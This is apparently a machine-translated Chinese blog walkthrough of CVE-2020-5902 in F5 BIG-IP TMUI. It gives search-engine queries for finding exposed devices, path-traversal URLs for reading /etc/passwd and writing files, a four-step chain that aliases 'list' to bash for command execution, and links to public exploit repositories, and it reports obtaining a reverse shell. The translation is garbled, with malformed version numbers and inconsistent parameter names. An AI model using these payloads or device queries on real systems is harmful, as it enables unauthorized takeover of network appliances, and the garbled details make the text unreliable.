F5 big-ip tmui remote code enforcement gap, latest CVE-2020-5902

On 1 July 2020, the F5 Official Public Traffic Management User Interface (TMUI) had a front-office remote implementation code (RCE) loophole (CVE-2020-5902) that was used by attackers to construct malicious requests and obtain unauthorized access to target servers for any type of telecode enforcement. The telecommunication security team noted that foreign security researchers had opened holes at poc, which were rapidly increasing risks.

“Description of a loophole”

The F5 BIG-IP traffic management user interface (TMUI) has a remote code enforcement loophole in an unpublished interface. This gap allows unauthorized assailants or authorized users to execute any system command, add or delete files, stop services, or enforce any java code through the management port of the BIG-IP and/or their own IP. The bug will result in serious systemic hazards, servers may be under the complete control of the attackers, as well as the BIG-IP device.

F5 BIG-IP is a series of applications delivery platforms issued by the United States company F5 Networks, with multiple functions such as load balance, traffic management and application administration. It provides the basic components needed to build flexible application delivery network structures while promoting enterprise cloud architecture and users are able to monitor their application delivery environments in all respects.

“Fragmentation Level”High risk

[Fragmented Impact Version]

F5 BIG-IP < 15.1.0.4

F5 BIG-IP < 14.1.2.6

F5 BIG-IP < 13.1.3.4

F5 BIG-IP < 12.1.5.2

F5 BIG-IP < 11.6.5.2

Unaffected version

F5 BIG-IP 151.0.4

F5 BIG-IP 14.1.2.6

F5 BIG-IP 131.3.4

F5 BIG-IP 12.1.5.2

F5 BIG-IP 11.6.5.2

F5 BIG-IP <11.6.1

Search target:

Note: Replace %26 below with&。

shodan
http.favicon.hash:-335242539

http.title:”BIG-IP%26reg;- Redirect”

fofa
title=”BIG-IP%26reg;- Redirect”

censys
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5

443.https.get.title:”BIG-IP%26reg;- Redirect”

google
inurl:”tmui/login.jsp”

intitle:”BIG-IP” inurl:”tmui”

Gap detection

/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=a

Use of loopholes

File Read

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

RCE

/tmui/login.jsp/…;/tmui/locallb/workspace/tmshCmd.jsp?committee=list+auth+user+admin (not tested successfully)

Use of toolshttps://github.com/zhzyker/exphub/tree/master/f5/image

Github: https://github.com/sv3nbeast/CVE-2020-5902_RCE

https://github.com/jas502n/CVE-2020-5902

Uncertified assailants can use the loophole remotely by sending a false, malicious HTTP request to a flawed server containing TTUI tools.

Unauthorized remote assailants can cause arbitrary Java code execution by sending specially designed request packages to a leak page. They then control the full functionality of F5 BIG-IP, including but not limited to: Implementation of random system commands, opening/disabling services, creating/deleting server end files, etc. The loophole affects the control panel and does not affect the data panel.

0x02 Impact Scope
0x03 Device Retrieval
Here’s the F5 BIG-IP device search rules for all major search platforms.

shodan
http.favicon.hash:-335242539

http.title:“BIG-IP&reg ;- Redirect

fofa
title=“BIG-IP&reg ;- Redirect

censys
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5

443.https.get.title:“BIG-IP&reg ;- Redirect

google
inurl:“tmui/login.jsp”

intitle:“BIG-IP” inurl:“tmui”

0x04 Gap Recovered
This loophole is simple. Here, Jas 502n, the Great God has given us a variety of scenarios in Github.

Read File Read File

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
1

Execute Command RCE

POC:

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
1
These commands are the Tmsh command, defined by the firewall itself. Click this address if you want to know.https://clouddocs.f5.com/api/tmsh/Other.html

of which list stands for bash command

According to the POC, I’m doing it in a very unstable way with the burpsue, as shown below, and I’m running it with python. This gap is there.

Writing file Upload File & View file content File Read

This loophole can also include any information in the file, so it can be followed up with access to control rights

POC:

https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/22&content=hello stem!
1

View content File Read
You can see the document to write and create txt

0x05 Peak utilization (control equipment, access shell)
Next, I have access to shell based on various open loopholes in GitHub. Moreover, the expluit of msf that I can’t run at all, and for no reason or possibly because the script itself is not perfected. So I used msf scripts to combine some public information.

Here you can get a shell. It’s python, and of course you can get permission in another way. There is not an exhaustive summary here.

There are four main steps to exploit the hole.

Create a mode to execute the command first, i. e. to list set to bash
Write command to execute in created files
Execute the command in the file using the previous list set to bash
Empty list settings
This corresponds to four steps:

tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
fileSave.jsp?fileName=/tmp/cmd&content=id
tmshCmd.jsp?command=list+/tmp/cmd
tmshCmd.jsp?command=delete+cli+alias+private+list
Run EXP:
Set list to bash

Speak command to write in file

Execute the command in the file

Interception results:
Successful surveillance heard the device rebounding shell.

未经允许不得转载:萌萌Apprentissage » F5 big-ip tmui remote code enforcement gap, latest CVE-2020-5902

Like (0) 打赏

Comments 0

Protected with IP Blacklist CloudIP Blacklist Cloud
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

//下一个脚本特效
//下一个脚本